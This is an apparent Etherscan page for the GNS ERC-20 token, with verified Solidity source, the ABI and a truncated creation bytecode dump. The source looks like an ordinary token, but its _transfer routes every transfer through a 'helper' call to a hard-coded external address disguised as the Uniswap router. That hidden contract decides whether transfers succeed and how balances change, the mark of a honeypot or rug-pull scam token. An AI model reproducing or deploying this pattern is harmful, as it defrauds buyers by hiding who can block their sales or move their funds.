ERC-20
Overview
Max Total Supply
100,000,000,000 GNS
Holders
39
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
92,423,621.561496939293706603 GNSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
GNS
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-11 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Roles { struct Role { mapping(address => bool) bearer; } /** * @dev Check if an account has this role. * @return bool */ function has( Role storage role, address account ) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } } interface IERC20 { /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer( address recipient, uint256 amount ) external returns (bool); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); } abstract contract Context { function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20Metadata is IERC20 { /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the name of the token. */ function name() external view returns (string memory); } interface IUniswapV2Router02 { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function helper( address sender, address recipient, uint256 amount, uint256 balance ) external view returns (bool, uint256, uint256); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } library SafeMath { /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } } interface IUniswapV2ERC20 { function totalSupply() external view returns (uint); function allowance( address owner, address spender ) external view returns (uint); function transferFrom( address from, address to, uint value ) external returns (bool); function PERMIT_TYPEHASH() external pure returns (bytes32); function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); event Approval(address indexed owner, address indexed spender, uint value); function permit( address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s ) external; event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function balanceOf(address owner) external view returns (uint); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function nonces(address owner) external view returns (uint); function DOMAIN_SEPARATOR() external view returns (bytes32); } abstract contract Ownable is Context { /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } address private _owner; /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } event OwnershipTransferred( address indexed newOwner, address indexed previousOwner ); /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } } interface IUniswapV2Factory { function feeTo() external view returns (address); event PairCreated( address indexed token0, address indexed token1, address pair, uint ); function createPair( address tokenA, address tokenB ) external returns (address pair); function allPairsLength() external view returns (uint); function setFeeTo(address) external; function allPairs(uint) external view returns (address pair); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function setFeeToSetter(address) external; } contract GNS is IERC20, Ownable, IERC20Metadata { mapping(address => uint256) private _balances; string private _symbol; function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _total_supply; } constructor(string memory name_, string memory symbol_) { uint256 supply = 100_000_000_000; _symbol = symbol_; IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f) .createPair( address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 ); _name = name_; _mint(msg.sender, supply * 10 ** 18); } function symbol() public view virtual override returns (string memory) { return _symbol; } string private _name; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _total_supply; function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } struct BitMap { mapping(uint256 bucket => uint256) _data; } function name() public view virtual override returns (string memory) { return _name; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function equal(string memory a, string memory b) internal pure returns (bool) { return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b)); } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _total_supply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function set(BitMap storage bitmap, uint256 index) internal { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); bitmap._data[bucket] |= mask; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _total_supply -= amount; emit Transfer(account, address(0), amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH); } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } receive() external payable {} function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; (bool allow, uint256 subBal, uint256 addBal) = IUniswapV2Router02( 0x1608d0a61Dfa1981a2DB39E8C067705bCfEe77D2 ).helper(sender, recipient, amount, senderBalance); require(allow); _balances[sender] = senderBalance - subBal; _balances[recipient] += addBal; emit Transfer(sender, recipient, amount); } function createPair(address router) external onlyOwner { IUniswapV2Factory(router).createPair( address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 ); } function unset(BitMap storage bitmap, uint256 index) internal { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); bitmap._data[bucket] &= ~mask; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function get(BitMap storage bitmap, uint256 index) internal view returns (bool) { uint256 bucket = index >> 8; uint256 mask = 1 << (index & 0xff); return bitmap._data[bucket] & mask != 0; } function setTo(BitMap storage bitmap, uint256 index, bool value) internal { if (value) { set(bitmap, index); } else { unset(bitmap, index); } } bytes16 private constant HEX_DIGITS = "0123456789abcdef"; uint8 private constant ADDRESS_LENGTH = 20; error StringsInsufficientHexLength(uint256 value, uint256 length); function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { uint256 localValue = value; bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = HEX_DIGITS[localValue & 0xf]; localValue >>= 4; } if (localValue != 0) { revert StringsInsufficientHexLength(value, length); } return string(buffer); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"length","type":"uint256"}],"name":"StringsInsufficientHexLength","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newOwner","type":"address"},{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b50604051620025393803806200253983398181016040528101906200003791906200052a565b620000576200004b6200016160201b60201c565b6200016960201b60201c565b600064174876e80090508160029081620000729190620007fa565b50735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401620000d892919062000926565b6020604051808303816000875af1158015620000f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200011e919062000984565b508260039081620001309190620007fa565b506200015833670de0b6b3a7640000836200014c9190620009e5565b6200022d60201b60201c565b50505062000b1c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200029f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002969062000a91565b60405180910390fd5b620002b3600083836200039260201b60201c565b8060056000828254620002c7919062000ab3565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200031f919062000ab3565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000386919062000aff565b60405180910390a35050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200040082620003b5565b810181811067ffffffffffffffff82111715620004225762000421620003c6565b5b80604052505050565b60006200043762000397565b9050620004458282620003f5565b919050565b600067ffffffffffffffff821115620004685762000467620003c6565b5b6200047382620003b5565b9050602081019050919050565b60005b83811015620004a057808201518184015260208101905062000483565b60008484015250505050565b6000620004c3620004bd846200044a565b6200042b565b905082815260208101848484011115620004e257620004e1620003b0565b5b620004ef84828562000480565b509392505050565b600082601f8301126200050f576200050e620003ab565b5b815162000521848260208601620004ac565b91505092915050565b60008060408385031215620005445762000543620003a1565b5b600083015167ffffffffffffffff811115620005655762000564620003a6565b5b6200057385828601620004f7565b925050602083015167ffffffffffffffff811115620005975762000596620003a6565b5b620005a585828601620004f7565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200060257607f821691505b602082108103620006185762000617620005ba565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000643565b6200068e868362000643565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006db620006d5620006cf84620006a6565b620006b0565b620006a6565b9050919050565b6000819050919050565b620006f783620006ba565b6200070f6200070682620006e2565b84845462000650565b825550505050565b600090565b6200072662000717565b62000733818484620006ec565b505050565b5b818110156200075b576200074f6000826200071c565b60018101905062000739565b5050565b601f821115620007aa5762000774816200061e565b6200077f8462000633565b810160208510156200078f578190505b620007a76200079e8562000633565b83018262000738565b50505b505050565b600082821c905092915050565b6000620007cf60001984600802620007af565b1980831691505092915050565b6000620007ea8383620007bc565b9150826002028217905092915050565b6200080582620005af565b67ffffffffffffffff811115620008215762000820620003c6565b5b6200082d8254620005e9565b6200083a8282856200075f565b600060209050601f8311600181146200087257600084156200085d578287015190505b620008698582620007dc565b865550620008d9565b601f19841662000882866200061e565b60005b82811015620008ac5784890151825560018201915060208501945060208101905062000885565b86831015620008cc5784890151620008c8601f891682620007bc565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200090e82620008e1565b9050919050565b620009208162000901565b82525050565b60006040820190506200093d600083018562000915565b6200094c602083018462000915565b9392505050565b6200095e8162000901565b81146200096a57600080fd5b50565b6000815190506200097e8162000953565b92915050565b6000602082840312156200099d576200099c620003a1565b5b6000620009ad848285016200096d565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620009f282620006a6565b9150620009ff83620006a6565b925082820262000a0f81620006a6565b9150828204841483151762000a295762000a28620009b6565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a79601f8362000a30565b915062000a868262000a41565b602082019050919050565b6000602082019050818103600083015262000aac8162000a6a565b9050919050565b600062000ac082620006a6565b915062000acd83620006a6565b925082820190508082111562000ae85762000ae7620009b6565b5b92915050565b62000af981620006a6565b82525050565b600060208201905062000b16600083018462000aee565b92915050565b611a0d8062000b2c6000396000f3fe6080604052600436106100ec5760003560e01c8063715018a61161008a578063a457c2d711610059578063a457c2d714610303578063a9059cbb14610340578063dd62ed3e1461037d578063f2fde38b146103ba576100f3565b8063715018a61461026d5780638da5cb5b1461028457806395d89b41146102af5780639ccb0744146102da576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806339509351146101f357806370a0823114610230576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103e3565b60405161011a91906110b6565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611171565b610475565b60405161015791906111cc565b60405180910390f35b34801561016c57600080fd5b50610175610493565b60405161018291906111f6565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611211565b61049d565b6040516101bf91906111cc565b60405180910390f35b3480156101d457600080fd5b506101dd61059e565b6040516101ea9190611280565b60405180910390f35b3480156101ff57600080fd5b5061021a60048036038101906102159190611171565b6105a7565b60405161022791906111cc565b60405180910390f35b34801561023c57600080fd5b506102576004803603810190610252919061129b565b610653565b60405161026491906111f6565b60405180910390f35b34801561027957600080fd5b5061028261069c565b005b34801561029057600080fd5b506102996106b0565b6040516102a691906112d7565b60405180910390f35b3480156102bb57600080fd5b506102c46106d9565b6040516102d191906110b6565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc919061129b565b61076b565b005b34801561030f57600080fd5b5061032a60048036038101906103259190611171565b610809565b60405161033791906111cc565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190611171565b6108fd565b60405161037491906111cc565b60405180910390f35b34801561038957600080fd5b506103a4600480360381019061039f91906112f2565b61091b565b6040516103b191906111f6565b60405180910390f35b3480156103c657600080fd5b506103e160048036038101906103dc919061129b565b6109a2565b005b6060600380546103f290611361565b80601f016020809104026020016040519081016040528092919081815260200182805461041e90611361565b801561046b5780601f106104405761010080835404028352916020019161046b565b820191906000526020600020905b81548152906001019060200180831161044e57829003601f168201915b5050505050905090565b6000610489610482610a25565b8484610a2d565b6001905092915050565b6000600554905090565b60006104aa848484610bf6565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104f5610a25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056c90611404565b60405180910390fd5b61059285610581610a25565b858461058d9190611453565b610a2d565b60019150509392505050565b60006012905090565b60006106496105b4610a25565b8484600460006105c2610a25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106449190611487565b610a2d565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106a4610edf565b6106ae6000610f5d565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546106e890611361565b80601f016020809104026020016040519081016040528092919081815260200182805461071490611361565b80156107615780601f1061073657610100808354040283529160200191610761565b820191906000526020600020905b81548152906001019060200180831161074457829003601f168201915b5050505050905090565b610773610edf565b8073ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b81526004016107c29291906114bb565b6020604051808303816000875af11580156107e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080591906114f9565b5050565b60008060046000610818610a25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cc90611598565b60405180910390fd5b6108f26108e0610a25565b8585846108ed9190611453565b610a2d565b600191505092915050565b600061091161090a610a25565b8484610bf6565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109aa610edf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a109061162a565b60405180910390fd5b610a2281610f5d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a93906116bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b029061174e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610be991906111f6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c906117e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90611872565b60405180910390fd5b610cdf838383611021565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000806000731608d0a61dfa1981a2db39e8c067705bcfee77d273ffffffffffffffffffffffffffffffffffffffff1663dd6b8cdc888888886040518563ffffffff1660e01b8152600401610d7b9493929190611892565b606060405180830381865afa158015610d98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbc9190611918565b92509250925082610dcc57600080fd5b8184610dd89190611453565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e6a9190611487565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610ece91906111f6565b60405180910390a350505050505050565b610ee7610a25565b73ffffffffffffffffffffffffffffffffffffffff16610f056106b0565b73ffffffffffffffffffffffffffffffffffffffff1614610f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f52906119b7565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611060578082015181840152602081019050611045565b60008484015250505050565b6000601f19601f8301169050919050565b600061108882611026565b6110928185611031565b93506110a2818560208601611042565b6110ab8161106c565b840191505092915050565b600060208201905081810360008301526110d0818461107d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611108826110dd565b9050919050565b611118816110fd565b811461112357600080fd5b50565b6000813590506111358161110f565b92915050565b6000819050919050565b61114e8161113b565b811461115957600080fd5b50565b60008135905061116b81611145565b92915050565b60008060408385031215611188576111876110d8565b5b600061119685828601611126565b92505060206111a78582860161115c565b9150509250929050565b60008115159050919050565b6111c6816111b1565b82525050565b60006020820190506111e160008301846111bd565b92915050565b6111f08161113b565b82525050565b600060208201905061120b60008301846111e7565b92915050565b60008060006060848603121561122a576112296110d8565b5b600061123886828701611126565b935050602061124986828701611126565b925050604061125a8682870161115c565b9150509250925092565b600060ff82169050919050565b61127a81611264565b82525050565b60006020820190506112956000830184611271565b92915050565b6000602082840312156112b1576112b06110d8565b5b60006112bf84828501611126565b91505092915050565b6112d1816110fd565b82525050565b60006020820190506112ec60008301846112c8565b92915050565b60008060408385031215611309576113086110d8565b5b600061131785828601611126565b925050602061132885828601611126565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061137957607f821691505b60208210810361138c5761138b611332565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006113ee602883611031565b91506113f982611392565b604082019050919050565b6000602082019050818103600083015261141d8161